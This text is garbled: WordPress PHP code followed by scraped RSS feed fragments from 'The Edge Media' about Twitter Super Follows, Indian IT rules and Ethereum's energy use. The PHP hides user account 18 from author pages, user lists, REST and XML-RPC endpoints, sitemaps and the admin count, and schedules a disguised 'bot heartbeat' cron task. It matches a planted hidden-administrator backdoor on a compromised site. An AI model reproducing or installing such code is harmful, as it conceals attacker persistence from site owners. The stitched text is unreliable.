add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Twitter to launch “Super follows” feature soon appeared first on The Edge Media.
]]>Reverse engineer Jane Manchun Wong has tweeted screenshots of what she says it will look like. According to Wong’s findings, the Super Follows program will be limited to Twitter users with at least 10,000 followers, who have posted at least 25 tweets within the last 30 dats and are above 18 years of age. Twitter has earlier mentioned that one of the main features of Super Follows will be bonus content, such as exclusive tweets for Super Followers.

Wong also pointed towards a list of content categories that Super Follows users would choose from, in order to describe their content. She also notes that “adult content” and “OnlyFans” are listed as “content platforms,” along with Facebook, Substack, Patreon, Twitch, and YouTube. Twitter refused to comment on Wong’s latest findings. The micro-blogging site had earlier described the Super Follows feature as a kind of a subscription, providing an example where a Super Follow user charged $4.99 per month for users to get access to “perks.”

Through this feature service, Twitter will increase its revenue, and content creators will also be able to earn. However, there is currently no information about when this feature will be launched. Also, no disclosure has been made regarding the launch in India.
The post Twitter to launch “Super follows” feature soon appeared first on The Edge Media.
]]>The post Twitter clarifies its stance on amended IT rules appeared first on The Edge Media.
]]>Twitter has been under government scrutiny after it marked posts by some BJP leaders on the “Congress toolkit” issue as “manipulated media”. The Delhi Police paid Twitter India’s offices in Delhi and Gurgaon a visit on 24 May and gave them a notice to explain their position.
The changed rules came into force on 26 May and require websites to enforce a system to address complaints and trace the “first originator” of content that aims to “undermine the sovereignty of India, security of the state, or public order”.
The post Twitter clarifies its stance on amended IT rules appeared first on The Edge Media.
]]>The post Ethereum to become more environment-friendly appeared first on The Edge Media.
]]>The second largest cryptocurrency in the world, Ethereum (ETH), has announced a new infrastructure model that will reduce its energy consumption by as much as 99%.
Ethereum hopes to achieve this by substituting the proof of work system with the proof of stake system.
At the present moment, this virtual currency has a carbon footprint that is comparable to Sri Lanka’s. Many people are sceptical and have raised concerns about the energy consumption of cryptocurrency mining. It may cause increased carbon emissions and climate change.
In addition to addressing this issue, this update also decreases the dependence on powerful hardware in the crypto community.
The post Ethereum to become more environment-friendly appeared first on The Edge Media.
]]>